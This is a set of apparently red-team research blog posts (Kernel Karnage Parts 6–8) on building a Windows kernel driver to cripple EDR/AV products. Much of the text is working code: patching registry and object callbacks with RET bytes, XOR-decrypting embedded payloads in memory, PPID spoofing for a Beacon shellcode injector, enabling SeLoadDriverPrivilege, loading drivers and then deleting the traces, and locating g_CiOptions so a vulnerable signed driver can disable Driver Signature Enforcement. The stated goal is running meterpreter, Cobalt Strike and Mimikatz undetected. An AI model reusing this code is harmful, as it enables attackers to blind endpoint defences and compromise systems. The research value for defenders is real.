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Before yesterdayNVISO Labs

Kernel Karnage – Part 6 (Last Call)

9 December 2021 at 13:04

With the release of this blogpost, we’re past the halfway point of my internship; time flies when you’re having fun.

1. Introduction – Status Report

In the course of these 6 weeks, I’ve covered several aspects of kernel drivers and EDR/AVs kernel mechanisms. I started off strong by examining kernel callbacks and why EDR/AV products use them extensively to gain vision into what’s happening on the system. I confirmed these concepts by leveraging existing work against $vendor1 and successfully executing Mimikatz on the compromised system.

Then I took a step back and did a deepdive in the inner structure and workings of a kernel driver, how it communicates with other drivers and applications and how I can intercept these communications using IRP MajorFunction hooks.

Once I had the basics sorted and got comfortable working with the kernel and a kernel debugger, I started developing my own driver called Interceptor, which has kernel callback patching and IRP MajorFunction hooking capabilities. I took the driver for a test drive against $vendor2 and concluded that attacking an EDR/AV product from kernel land alone is not sufficient and user land detection techniques should be taken into consideration as well.

To solve this problem, I then developed a custom shellcode injector using the EarlyBird technique, which combined with the Interceptor driver was able to partially bypass $vendor2 and launch a meterpreter session on the compromised system.

After this small success, I spent a good amount of time on code maintenance, refactoring, bug fixing and research, which has brought me to today’s blogpost. In this blogpost I would like to conclude the kernel callbacks, having solved my issues with registry and object callbacks, revisit the shellcode injector in a bit more detail and once more bring the fight to $vendor2. Let’s get to it, shall we?

2. Last call

Having covered process, thread and image callbacks in the previous blogposts, I think it’s only fair if we conclude this topic with registry and object callbacks. In the previous blogpost, I demonstrated how we can retrieve and enumerate the registry callback doubly linked list. The code to patch and subsequently restore these callbacks is almost identical, using the same iteration method. For the sake of simplicity, I decided to store the patched callbacks internally in an array of size 64, instead of another linked list.

for (pEntry = (PLIST_ENTRY)*callbackListHead, i = 0; pEntry != (PLIST_ENTRY)callbackListHead; pEntry = (PLIST_ENTRY)(pEntry->Flink), i++) {
  if (i == index) {
    auto callbackFuncAddr = *(ULONG64*)((ULONG_PTR)pEntry + 0x028);
    CR0_WP_OFF_x64();
    PULONG64 pPointer = (PULONG64)callbackFuncAddr;

    switch (callback) {
      case registry:
        g_CallbackGlobals.RegistryCallbacks[index].patched = true;
        memcpy(g_CallbackGlobals.RegistryCallbacks[index].instruction, pPointer, 8);
        break;
      default:
        return STATUS_NOT_SUPPORTED;
        break;
    }

    *pPointer = (ULONG64)0xC3;
    CR0_WP_ON_x64();
    return STATUS_SUCCESS;
  }
}

With the registry callbacks patched and taken care of, it’s time to jump the last hurdle, and it’s a big one: object callbacks. Out of all the kernel callbacks, object callbacks definitely gave me the most grief and I still don’t understand them 100%. There is only limited documentation out there and most of it covers object callbacks itself and how to use them, not how to bypass or disable them. Nonetheless, I found a couple good resources which I think are worth sharing:

2.1 What is this Object Callbacks black magic?

Object callbacks are called as a result of process / thread / desktop HANDLE operations. They can either be called before the operation takes place (POB_PRE_OPERATION_CALLBACK) or after the operation completes (POB_POST_OPERATION_CALLBACK). A good example is the OpenProcess() API call, which returns an open HANDLE to the target local process object if it succeeds. When OpenProcess() is called, a pre-operation callback can be triggered, and when OpenProcess() returns, a post-operation callback can be triggered.

Object callbacks only work on process objects, thread objects and desktop objects. The most common usecase for these object callbacks is to modify the requested access rights to said object. If I were to attach a debugger to an EDR/AV process by using OpenProcess() with the PROCESS_ALL_ACCESS flag, the EDR/AV would most likely use an object callback to change the granted access rights to something like PROCESS_QUERY_LIMITED_INFORMATION to protect itself.

2.2 Where can I find one for myself?

I’m glad you asked! Turns out they’re a little bit harder to locate. Windows contains a very important structure called OBJECT_TYPE which is defined as:

typedef struct _OBJECT_TYPE {
  LIST_ENTRY TypeList;
  UNICODE_STRING Name;
  PVOID DefaultObject; 
  UCHAR Index;
  ULONG TotalNumberOfObjects;
  ULONG TotalNumberOfHandles;
  ULONG HighWaterNumberOfObjects;
  ULONG HighWaterNumberOfHandles;
  OBJECT_TYPE_INITIALIZER TypeInfo; //unsigned char TypeInfo[0x78];
  EX_PUSH_LOCK TypeLock;
  ULONG Key;
  LIST_ENTRY CallbackList; //offset 0xC8
} OBJECT_TYPE, *POBJECT_TYPE;
OBJECT_TYPE STRUCT

This structure is used to define the process and thread objects, which are the only two object types that allow callbacks on their creation and copying, and is stored in the global variables: **PsProcessType and **PsThreadType. It also contains a linked list entry LIST_ENTRY CallbackList, which points to a CALLBACK_ENTRY_ITEM structure defined as:

typedef struct _CALLBACK_ENTRY_ITEM {
	LIST_ENTRY EntryItemList;
	OB_OPERATION Operations;
	DWORD Active;
	PCALLBACK_ENTRY CallbackEntry;
	POBJECT_TYPE ObjectType;
	POB_PRE_OPERATION_CALLBACK PreOperation; //offset 0x28
	POB_POST_OPERATION_CALLBACK PostOperation; //offset 0x30
	__int64 unk;
} CALLBACK_ENTRY_ITEM, * PCALLBACK_ENTRY_ITEM;

The POB_PRE_OPERATION_CALLBACK PreOperation and POB_POST_OPERATION_CALLBACK PostOperation members contain the function pointers to the registered callback routines.

2.3 Show me the code!

The above mentioned global variables **PsProcessType and **PsThreatType can be used to grab a POBJECT_TYPE struct, which contains the LIST_ENTRY CallbackList address at offset 0xC8.

PVOID* FindObRegisterCallbacksListHead(POBJECT_TYPE pObType) {
  //POBJECT_TYPE pObType = *PsProcessType;
	return (PVOID*)((__int64)pObType + 0xc8);
}

The CallbackList address can then be used to enumerate the linked list in a similar manner as the registry callback list and patch the pre- and post-operation callback function pointers. The pre- and post-operation callbacks are located at offsets 0x28 and 0x30 in the CALLBACK_ENTRY_ITEM structure.

for (pEntry = (PLIST_ENTRY)*callbackListHead, i = 0; NT_SUCCESS(status) && (pEntry != (PLIST_ENTRY)callbackListHead); pEntry = (PLIST_ENTRY)(pEntry->Flink), i++) {
  if (i == index) {
    //grab pre-operation callback function address at offset 0x28
    auto preOpCallbackFuncAddr = *(ULONG64*)((ULONG_PTR)pEntry + 0x28);
    if (MmIsAddressValid((PVOID*)preOpCallbackFuncAddr)) {
      CR0_WP_OFF_x64();

      //get a pointer to the registered callback function
      PULONG64 pPointer = (PULONG64)preOpCallbackFuncAddr;

      //save the original instruction, used to restore the callback
      switch (callback) {
        case object_process:
          g_CallbackGlobals.ObjectProcessCallbacks[index][0].patched = true;
          memcpy(g_CallbackGlobals.ObjectProcessCallbacks[index][0].instruction, pPointer, 8);
          break;
        case object_thread:
          g_CallbackGlobals.ObjectThreadCallbacks[index][0].patched = true;
          memcpy(g_CallbackGlobals.ObjectThreadCallbacks[index][0].instruction, pPointer, 8);
          break;
        default:
          return STATUS_NOT_SUPPORTED;
          break;
      }

      //patch the callback function with a RET (0xC3)
      *pPointer = (ULONG64)0xC3;

      CR0_WP_ON_x64();

      return STATUS_SUCCESS;
    }

    //grab post-operation callback function address at offset 0x30
    auto postOpCallbackFuncAddr = *(ULONG64*)((ULONG_PTR)pEntry + 0x30);
    if (MmIsAddressValid((PVOID*)postOpCallbackFuncAddr)) {
      CR0_WP_OFF_x64();

      //get a pointer to the registered callback function
      PULONG64 pPointer = (PULONG64)postOpCallbackFuncAddr;

      //save the original instruction, used to restore the callback
      switch (callback) {
        case object_process:
          g_CallbackGlobals.ObjectProcessCallbacks[index][1].patched = true;
          memcpy(g_CallbackGlobals.ObjectProcessCallbacks[index][1].instruction, pPointer, 8);
          break;
        case object_thread:
          g_CallbackGlobals.ObjectThreadCallbacks[index][1].patched = true;
          memcpy(g_CallbackGlobals.ObjectThreadCallbacks[index][1].instruction, pPointer, 8);
          break;
        default:
          return STATUS_NOT_SUPPORTED;
          break;
      }

      //patch the callback function with a RET (0xC3)
      *pPointer = (ULONG64)0xC3;

      CR0_WP_ON_x64();

      return STATUS_SUCCESS;
    }
  }
}
Interceptor patch object callback
patched process object callback

3. Interceptor vs $vendor2: Round 2

In my previous attempt to bypass $vendor2 and run a meterpreter reverse TCP shell on the compromised system, the attack was detected, but not blocked. My EarlyBird shellcode injector used a staged payload to connect back to the metasploit framework and fetch the meterpreter payload, which then got flagged by $vendor2.

To try and solve this issue, I decided not to use a staged payload, but instead embed the whole meterpreter payload in the binary itself. Since the payload size is around 200.000 bytes, it is impractical at best to embed it as a hexadecimal string and it would get immediately flagged when any static analysis is performed. Instead, one of my colleagues, Firat Acar, suggested I could embed the payload as an encrypted resource and load and decrypt it at runtime in memory.

The code for this is surprisingly simple:

HRSRC scResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD1), L"payload");
DWORD scSize = SizeofResource(NULL, scResource);
HGLOBAL scResourceData = LoadResource(NULL, scResource);

Once the resource is loaded, a function like memcpy() or NtWriteVirtualMemory() can be used to write it to memory. Once that’s done, it can be decrypted in memory using a simple XOR:

void XORDecryptInMemory(const char* key, int keyLen, int dataLen, LPVOID startAddr) {
	BYTE* t = (BYTE*)startAddr;

	for (DWORD i = 0; i < dataLen; i++) {
		t[i] ^= key[i % keyLen];
	}
}

Since my shellcode injector attempts to inject into a remote process, using this decrypt routine will cause a STATUS_ACCESS_VIOLATION exception, since directly accessing memory of a different process is not allowed. Instead functions like NtReadVirtualMemory() and NtWriteVirtualMemory() should be used.

However, after testing this approach against $vendor2, the embedded resource got flagged almost immediately. Maybe a better encryption algorithm like RC4 or AES could work, but that also comes with a lot of overhead to implement.

A different solution to this problem might be to fetch the payload remotely using sockets, in an attempt to avoid using higher level APIs like WinINet. For now I reverted back to a staged payload embedded as a hexadecimal string.

With the ability to now patch all the kernel callbacks, I decided to try and bypass $vendor2 once more. I disabled its botnet protection module, which inspects network traffic for potential malicious activity, since this is what flagged the meterpreter traffic in the first place. I wanted to see if apart from network packet inspection, $vendor2 would detect the meterpreter payload. However, after testing with an HTTPS implant, the botnet protection did not detect and block the payload.

4. Conclusion

This blogpost concludes patching the kernel callbacks. While there is more functionality to add and more problems to address from kernel space, such as ETW or minifilters, the main goal of sufficiently crippling an EDR/AV product using a kernel driver has been met. Using Interceptor, we can deploy a meterpreter shell or Cobalt Strike Beacon and even run Mimikatz undetected. The next challenge will be to deploy the driver on a target and bypass protections such as Driver Signature Enforcement.

About the authors

Sander (@cerbersec), the main author of this post, is a cyber security student with a passion for red teaming and malware development. He’s a two-time intern at NVISO and a future NVISO bird.

Jonas is NVISO’s red team lead and thus involved in all red team exercises, either from a project management perspective (non-technical), for the execution of fieldwork (technical), or a combination of both. You can find Jonas on LinkedIn.

Kernel Karnage – Part 7 (Out of the Lab and Back to Reality)

20 December 2021 at 13:49

This week I emerge from the lab and put on a different hat.

1. Switching hats

With Interceptor being successful in blinding $vendor2 sufficiently to run a meterpreter reverse shell, it is time to put on the red team hat and get out of the perfect lab environment. To do just that, I had to revert some settings I turned off at the beginning of this series.

First, I enabled Secure Boot and disabled test signing mode on the target VM. Secure Boot will enable Microsoft’s Driver Signature Enforcement (DSE) policy, which blocks non-WHQL-signed drivers from being loaded, which includes my Interceptor driver. It’s important to note I left HyperGuard (HVCI) turned off, because I currently have no way of defeating Virtualization-based protection.

With the target configured, I then set up a Cobalt Strike Teamserver using a Gmail Malleable C2 profile and configured my EarlyBird shellcode injector to deliver an HTTPS Beacon. My idea was to simulate a scenario where an attacker (me) had managed to gain a foothold on the target and obtained an implant with elevated privileges. The attacker would then use the implant to disable DSE on the compromised system and load the Interceptor driver, all directly in memory to keep a low footprint. Once Interceptor has been loaded on the target system, it would cripple the EDR/AV product and allow the attacker to run Mimikatz undetected.

Naturally, nothing ever goes as planned.

2. Outspoofing myself

The first issue I ran into was executing my shellcode injector with elevated privileges. No matter what I tried, I couldn’t seem to get a Beacon callback with elevated privileges, so I took my issue to infosec Twitter and unmasked the culprit with the help of @trickster012.

The code that is responsible for spawning a new spoofed process which is then used to inject the Beacon payload into looks like this:

PROCESS_INFORMATION Spawn(LPSTR procPath, HANDLE parentHandle)
{
    //do dynamic imports
    hK32 = GetModuleHandleA("kernel32");
    FARPROC fpInitializeProcThreadAttributeList = GetProcAddress(hK32, "InitializeProcThreadAttributeList");
    _InitializeProcThreadAttributeList InitializeProcThreadAttributeList = (_InitializeProcThreadAttributeList)fpInitializeProcThreadAttributeList;
    FARPROC fpUpdateProcThreadAttribute = GetProcAddress(hK32, "UpdateProcThreadAttribute");
    _UpdateProcThreadAttribute UpdateProcThreadAttribute = (_UpdateProcThreadAttribute)fpUpdateProcThreadAttribute;
    FARPROC fpDeleteProcThreadAttributeList = GetProcAddress(hK32, "DeleteProcThreadAttributeList");
    _DeleteProcThreadAttributeList DeleteProcThreadAttributeList = (_DeleteProcThreadAttributeList)fpDeleteProcThreadAttributeList;

    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;

    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));

    InitializeProcThreadAttributeList(NULL, 2, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &attributeSize);

    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    //enable CIG
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
    //PPID spoof: set parentHandle as parent process
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentHandle, sizeof(HANDLE), NULL, NULL);

    si.StartupInfo.cb = sizeof(si);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    if (!CreateProcessA(NULL, procPath, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi))
    {
        throw "";
    }

    std::cout << "Process created!" << " PID: " << pi.dwProcessId << "\n";

    DeleteProcThreadAttributeList(si.lpAttributeList);
    NtClose(parentHandle);

    return pi;
}

The Spawn() function takes a parameter HANDLE parentHandle, which is used to set the parent process of the newly created process. The handle would in this case point to explorer.exe as this is the process I was spoofing. @CaptMeelo recently posted a great blogpost titled Picky PPID Spoofing which covers the topic of PPID spoofing quite well.

To make a long story short, as stated in the Microsoft documentation, the to-be-created process inherits certain attributes from its parent process (the one we’re spoofing), this also happens to include the process token. One of the many things contained in a token are the privileges held by the user or the user’s group that are associated with the process.

Parent process attributes

If we take a look at explorer.exe in Process Hacker we can see the associated user and token. We can also see that the process is not running in elevated context. Taking into consideration the attribute inheritance, it makes sense that I couldn’t manage to spawn an elevated process with explorer.exe set as parent.

Explorer.exe process hacker

With this issue identified and remediated, I ran head first into the next one: concealing Beacon from EDR/AV. My shellcode injector is still configured to use embedded shellcode, instead of pulling a payload from somewhere else. So far this has worked quite well, using stageless payloads. I replaced the meterpreter payload with one of Cobalt Strike’s stagers, which would then pull a full HTTPS Beacon payload. I have not (yet) modified Beacon, so once the stager pulls the payload, EDR/AV detects a Cobalt Strike artifact in memory and takes action. Uh oh, not good. As of writing this blogpost, I have not yet figured out the answer to this problem, if there are any reader suggestions, you’re more than welcome to share them with me on Twitter.

3. Disabling Driver Signature Enforcement (DSE)

Instead, I decided to move on to the task at hand: disabling driver signature enforcement (DSE) on the target and loading Interceptor. Over the course of my research I stumbled across Kernel Driver Utility (KDU), a tool developed by @hfiref0x. One of the many wonderous things this tool can do is disable Driver Signature Enforcement (DSE). It does this by loading a WHQL-signed driver with an arbitrary kernel memory read/write vulnerability to change the state of ntoskrnl.exe g_CiEnabled or CI.dll g_CiOptions, depending on the build version of Windows.

I tested KDU and it worked well, except it didn’t tick all the boxes required for the scenario:

  1. It got flagged by EDR/AV
  2. It cannot be executed in memory from a Beacon

What I need is a custom Beacon Object File (BOF) whose only purpose is to disable DSE and load Interceptor, or any other malicious driver for that matter. Windows provides APIs like NtLoadDriver() and NtUnloadDriver() to handle loading drivers programmatically; there’s just one catch: drivers cannot be loaded from memory, they need to touch disk, which is not good for OPSEC. To be fair, this statement is not 100% correct though, because there are ways to manually map drivers into memory, however they come with a lot of drawbacks like:

  • Invalid DeviceObject and RegistryPath objects
  • No Structured Exception Handling (SEH)
  • Cannot be unloaded, so they persist until reboot
  • Only ntoskrnl.exe imports are resolved
  • Cannot use certain kernel primitives like callbacks because of PatchGuard

I won’t go into much details here, but manually mapping comes with so much overhead and instability it is out of the equation (until I get bored). So instead, I’ll have to sacrifice some OPSEC and touch disk for a safer and more stable result. I’m currently developing a BOF to disable DSE using CVE-2015-2291 which will also be integrated in my CobaltWhispers framework for Cobalt Strike, which I just updated to use SysWhispers2 and InlineWhispers2 to dynamically resolve direct syscalls.

Disable DSE

4. Conclusion

With the release of this blogpost, the kernel driver Interceptor is nearly complete in functionality and is able to fullfill its purpose. Writing tools wouldn’t be very useful if they don’t work outside of a lab environment and not all of us have magical access to code signing certificates and administrator privileges in a target environment. I spent a good amount of time uncovering new and different hurdles that come with the scenario I presented, and subsequently tried to find solutions to them. I guess it goes to show, most challenges to remain undetected and bypass EDR/AV are still presented in user space and have to be addressed as such.

Besides the challenges in user space, there are still several kernel space aspects I want to look at in upcoming blogposts if the time permits. These include:

  • disabling Sysmon and Event Tracing for Windows (ETW)
  • hooking minifilters
  • inspecting and filtering IRPs

But as with everything, time flies by when one’s having fun 😉

About the authors

Sander (@cerbersec), the main author of this post, is a cyber security student with a passion for red teaming and malware development. He’s a two-time intern at NVISO and a future NVISO bird.

Jonas is NVISO’s red team lead and thus involved in all red team exercises, either from a project management perspective (non-technical), for the execution of fieldwork (technical), or a combination of both. You can find Jonas on LinkedIn.

Kernel Karnage – Part 8 (Getting Around DSE)

10 January 2022 at 08:00

When life gives you exploits, you turn them into Beacon Object Files.

1. Back to BOFs

I never thought I would say this, but after spending so much time in kernel land, it’s almost as if developing kernel functionality is easier than writing user land applications, especially when they need to fly under the radar. As I mentioned in my previous blogpost, I am in dire need of a Beacon Object File to disable Driver Signature Enforcement (DSE) from memory. However, writing a BOF with such complex functionality results in a lot of code and is hard to test and debug, especially when also using direct syscalls. So I decided to first write a regular C/C++ console application which should do exactly the same, except for the intergration part with CobaltWhispers which takes care of the payload.

2. May I load drivers, please?

The first task at hand is making sure the current process context we’re in has sufficient privileges to load or unload a driver. By default, even in elevated context, the required privilege SeLoadDriverPrivilege is disabled.

SeLoadDriverPrivilege disabled

Luckily, changing the privileges isn’t too difficult. At boot time, each privilege is assigned a locally unique identifier LUID. Using the LookupPrivilegeValue() function, the LUID associated with SeLoadDriverPrivilege can be retrieved and passed to NtAdjustPrivilegesToken() together with the SE_PRIVILEGE_ENABLED flag.

TOKEN_PRIVILEGES tp;
LUID luid;
HANDLE hToken;

status = NtOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);

LookupPrivilegeValue(nullptr, L"SeLoadDriverPrivilege", &luid)

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

NtAdjustPrivilegesToken(hToken, FALSE, &tp, 0, nullptr, 0);
SeLoadDriverPrivilege enabled

3. Down to business

Once the privileges are sorted, we can move on to the next step, which is creating the necessary registry key and its values. When a driver is loaded using the NtLoadDriver() API, a registry key is passed as parameter. This registry key is necessary because it contains the location of the driver on disk (this is why we need to touch disk to load a driver), as well as a couple of other values indicating the type of driver, the error handling when the driver fails to start and when in the boot sequence the driver should be started.

Creating registry keys is nothing new:

HANDLE hKey;
ULONG disposition;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING keyName;
RtlInitUnicodeString(&keyName, KeyName);

InitializeObjectAttributes(&oa, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

NtCreateKey(&hKey, KEY_ALL_ACCESS, &oa, 0, nullptr, REG_OPTION_NON_VOLATILE, &disposition);

UNICODE_STRING keyValueName;
RtlInitUnicodeString(&keyValueName, L"ErrorControl");
DWORD keyValue = SERVICE_ERROR_NORMAL;
NtSetValueKey(hKey, &keyValueName, 0, REG_DWORD, (BYTE*)&keyValue, sizeof(keyValue));

RtlInitUnicodeString(&keyValueName, L"Type");
keyValue = SERVICE_KERNEL_DRIVER;
NtSetValueKey(hKey, &keyValueName, 0, REG_DWORD, (BYTE*)&keyValue, sizeof(keyValue));

RtlInitUnicodeString(&keyValueName, L"Start");
keyValue = SERVICE_DEMAND_START;
NtSetValueKey(hKey, &keyValueName, 0, REG_DWORD, (BYTE*)&keyValue, sizeof(keyValue));

RtlInitUnicodeString(&keyValueName, L"ImagePath");
UNICODE_STRING DriverImagePath;
RtlInitUnicodeString(&DriverImagePath, DriverPath);
NtSetValueKey(hKey, &keyValueName, 0, REG_EXPAND_SZ, (BYTE*)DriverImagePath.Buffer, DriverImagePath.Length + sizeof(UNICODE_NULL));

The registry key has been successfully created and the ImagePath value points to the driver on disk.

Driver registry entrance

The registry key can then be passed to NtLoadDriver(), which will read the driver from disk and load it into memory. Once the driver is no longer needed, it can be unloaded by passing the same registry key to NtUnloadDriver(). For OPSEC considerations, once the driver is unloaded from the system, the registry key and binary on disk should also be removed, which is relatively easy with calls to NtOpenKeyEx(), NtDeleteKey() and NtDeleteFile().

NtLoadDriver(&keyName);
//do stuff
NtUnloadDriver(&keyName);

HANDLE hKey;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
NtOpenKeyEx(&hKey, DELETE, &oa, 0);
NtDeleteKey(hKey);

InitializeObjectAttributes(&oa, &DriverImagePath, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
NtDeleteFile(&oa);

4. A touch of black magic and a sprinkle of luck

Now that I’m able to load and unload a signed driver, it’s time to figure out how to tackle DSE.

Driver Signature Enforcement is part of Windows Code Integrity (CI) and, depending on the Windows build version, it is located in ntoskrnl.exe or CI.dll as a global non-exported variable (flag). Before Windows 8 build 9600, the DSE flag is located in ntoskrnl.exe as nt!g_CiEnabled, which is a global boolean variable toggling DSE either enabled or disabled. In any other more recent builds, the DSE flag can be found in CI.dll as CI!g_CiOptions, which is a combination of flags (0x0=disabled, 0x6=enabled, 0x8=test mode).

For a more detailed write-up or insight into DSE I recommend A quick insight into Driver Signature Enforcement by @j00ru, Capcom Rootkit Proof-Of-Concept by @FuzzySec and Loading unsigned Windows drivers without reboot by @vikingfr.

In a nutshell, the idea is to (ab)use a vulnerable signed driver with an arbitrary kernel memory read/write exploit, locate either the g_CiEnabled or g_CiOptions variables in kernel memory and overwrite the value with 0x0 to disable DSE using the vulnerable driver. Once DSE is disabled, the malicious driver can be loaded, after which the DSE value should be restored as soon as possible, because DSE is protected by PatchGuard. Sounds relatively straightforward you might say, however the hard part is locating g_CiEnabled or g_CiOptions, because even though we know where to go looking, they are not exported so we will need to perform offset calculations.

Since in theory any vulnerable driver with the ability to read/write kernel memory can be used, I won’t be covering the specifics of my vulnerable driver. I relied heavily on KDU’s source code for the implementation of locating g_CiEnabled / g_CiOptions. A lot of code is copied directly from KDU and slightly modified to adjust for a single vulnerable driver, use lower level API calls, or direct syscalls and be overall more readable.

Starting from the top, I have a function ControlDSE() responsible for toggling the DSE value. This function calls QueryVariable() which returns the address in memory of the DSE variable and then calls the vulnerable driver via the DriverReadVirtualMemory() and DriverWriteVirtualMemory() functions to control the DSE value.

NTSTATUS ControlDSE(HANDLE DeviceHandle, ULONG buildNumber, ULONG DSEValue) {
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	ULONG_PTR variableAddress;
	ULONG flags = 0;

    // locate the address in memory of the DSE variable
	variableAddress = QueryVariable(buildNumber);

    DriverReadVirtualMemory(DeviceHandle, variableAddress, &flags, sizeof(flags));
    if (DSEValue == flags) // current DSE value equals the DSE value we want to set
        return STATUS_SUCCESS;

    status = DriverWriteVirtualMemory(DeviceHandle, variableAddress, &DSEValue, sizeof(DSEValue));
    if (NT_SUCCESS(status)) {
        // confirm the new DSE value is written to memory
        flags = 0;

        DriverReadVirtualMemory(DeviceHandle, variableAddress, &flags, sizeof(flags));
        if (flags == DSEValue)
            printf("New DSE value set\n");
        else
            printf("Failed to set new DSE value\n");
    }
	return status;
}

To locate the address of the DSE variable in memory, QueryVariable() first retrieves the base address of the loaded module in kernel space. Under the hood, GetModuleBaseByName() uses NtQuerySystemInformation() with the SystemModuleInformation information class to retrieve a list of loaded modules and then performs a basic string comparison until it has found the module it’s looking for. Next, QueryVariable() maps a copy of the module into its own virtual memory, which is later used to calculate offsets, and calls QueryCiEnabled() or QueryCiOptions() respectively depending on the build number.

ULONG_PTR QueryVariable(ULONG buildNumber) {
	NTSTATUS status;
	ULONG loadedImageSize = 0;
	SIZE_T sizeOfImage = 0;
	ULONG_PTR result = 0, imageLoadedBase, kernelAddress = 0;
	const char* moduleNameA = nullptr;
    PCWSTR moduleNameW = nullptr;
	HMODULE mappedImageBase;

	WCHAR szFullModuleName[MAX_PATH * 2];

	if (buildNumber < 9600) { // WIN8
		moduleNameA = "ntoskrnl.exe";
        moduleNameW = L"ntoskrnl.exe";
    }
	else {
		moduleNameA = "CI.dll";
        moduleNameW = L"CI.dll";
    }

    // get the base address of the module loaded in kernel space
	imageLoadedBase = GetModuleBaseByName(moduleNameA, &loadedImageSize);
	if (imageLoadedBase == 0)
		return 0;

	szFullModuleName[0] = 0;
	if (!GetSystemDirectory(szFullModuleName, MAX_PATH))
		return 0;

	wcscat_s(szFullModuleName, MAX_PATH * 2, L"\\");
	wcscat_s(szFullModuleName, MAX_PATH * 2, moduleNameW);

    // map a local copy of the module
	mappedImageBase = LoadLibraryEx(szFullModuleName, nullptr, DONT_RESOLVE_DLL_REFERENCES);

    if (buildNumber < 9600) {
        status = QueryImageSize(mappedImageBase, &sizeOfImage);

        if (NT_SUCCESS(status)) {
            // calculate offsets and find g_CiEnabled address
            status = QueryCiEnabled(mappedImageBase, imageLoadedBase, &kernelAddress, sizeOfImage);
        }
    }
    else {
        // calculate offsets and find g_CiOptions address
        status = QueryCiOptions(mappedImageBase, imageLoadedBase, &kernelAddress, buildNumber);
    }

    if (NT_SUCCESS(status)) {
        // verify if the found address is in a valid memory range associated with the loaded module in kernel space
        if (IN_REGION(kernelAddress, imageLoadedBase, loadedImageSize))
            result = kernelAddress;
    }

    FreeLibrary(mappedImageBase);
	return result;
}

The QueryCiEnabled() and QueryCiOptions() functions perform the actual black magic of calculating the right offsets using the kernel module and local mapped copy. QueryCiOptions() makes use of the Hacker Disassembler Engine 64 (modified to be a single C/C++ Header file) to inspect the assembly instructions and calculate the right offset. Once the local offset has been calculated and stored in the ptrCode variable, the actual address is calculated by adding the local offset to the kernel module base address and substracting the base address of the locally mapped copy.

NTSTATUS QueryCiOptions(HMODULE ImageMappedBase, ULONG_PTR ImageLoadedBase, ULONG_PTR* ResolvedAddress, ULONG buildNumber) {
	PBYTE ptrCode = nullptr;
	ULONG offset, k, expectedLength;
	LONG relativeValue = 0;
	ULONG_PTR resolvedAddress = 0;

	hde64s hs;

	*ResolvedAddress = 0ULL;

	ptrCode = (PBYTE)GetProcAddress(ImageMappedBase, (PCHAR)"CiInitialize");
	if (ptrCode == nullptr)
		return STATUS_PROCEDURE_NOT_FOUND;

	RtlSecureZeroMemory(&hs, sizeof(hs));
	offset = 0;

	if (buildNumber < 16299) {
		expectedLength = 5;

		do {
            hde64_disasm(&ptrCode[offset], &hs);
            if (hs.flags & F_ERROR)
                break;

            if (hs.len == expectedLength) { //test if jmp
                // jmp CipInitialize
                if (ptrCode[offset] == 0xE9) {
                    relativeValue = *(PLONG)(ptrCode + offset + 1);
                    break;
                }
            }
            offset += hs.len;
        } while (offset < 256);
	}
	else {
		expectedLength = 3;

		do {
            hde64_disasm(&ptrCode[offset], &hs);
            if (hs.flags & F_ERROR)
                break;

            if (hs.len == expectedLength) {
                // Parameters for the CipInitialize.
                k = CheckInstructionBlock(ptrCode,
                    offset);

                if (k != 0) {
                    expectedLength = 5;
                    hde64_disasm(&ptrCode[k], &hs);
                    if (hs.flags & F_ERROR)
                        break;
                    // call CipInitialize
                    if (hs.len == expectedLength) {
                        if (ptrCode[k] == 0xE8) {
                            offset = k;
                            relativeValue = *(PLONG)(ptrCode + k + 1);
                            break;
                        }
                    }
                }
            }
            offset += hs.len;
        } while (offset < 256);
	}

	if (relativeValue == 0)
		return STATUS_UNSUCCESSFUL;

	ptrCode = ptrCode + offset + hs.len + relativeValue;
	relativeValue = 0;
	offset = 0;
	expectedLength = 6;

	do {
        hde64_disasm(&ptrCode[offset], &hs);
        if (hs.flags & F_ERROR)
            break;

        if (hs.len == expectedLength) { //test if mov
            if (*(PUSHORT)(ptrCode + offset) == 0x0d89) {
                relativeValue = *(PLONG)(ptrCode + offset + 2);
                break;
            }
        }
        offset += hs.len;
    } while (offset < 256);

	if (relativeValue == 0)
		return STATUS_UNSUCCESSFUL;

	ptrCode = ptrCode + offset + hs.len + relativeValue;
    // calculate the actual address in kernel space
    // by adding the offset and substracting the base address
    // of the locally mapped copy from the kernel module base address
	resolvedAddress = ImageLoadedBase + ptrCode - (PBYTE)ImageMappedBase;

	*ResolvedAddress = resolvedAddress;
	return STATUS_SUCCESS;
}

QueryCiEnabled() uses a hardcoded value of 0x1D8806EB to calculate and resolve the offset.

NTSTATUS QueryCiEnabled(HMODULE ImageMappedBase, ULONG_PTR ImageLoadedBase, ULONG_PTR* ResolvedAddress, SIZE_T SizeOfImage) {
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	SIZE_T c;
	LONG rel = 0;

	*ResolvedAddress = 0;

	for (c = 0; c < SizeOfImage - sizeof(DWORD); c++) {
		if (*(PDWORD)((PBYTE)ImageMappedBase + c) == 0x1d8806eb) {
			rel = *(PLONG)((PBYTE)ImageMappedBase + c + 4);
			*ResolvedAddress = ImageLoadedBase + c + 8 + rel;
			status = STATUS_SUCCESS;
			break;
		}
	}
	return status;
}

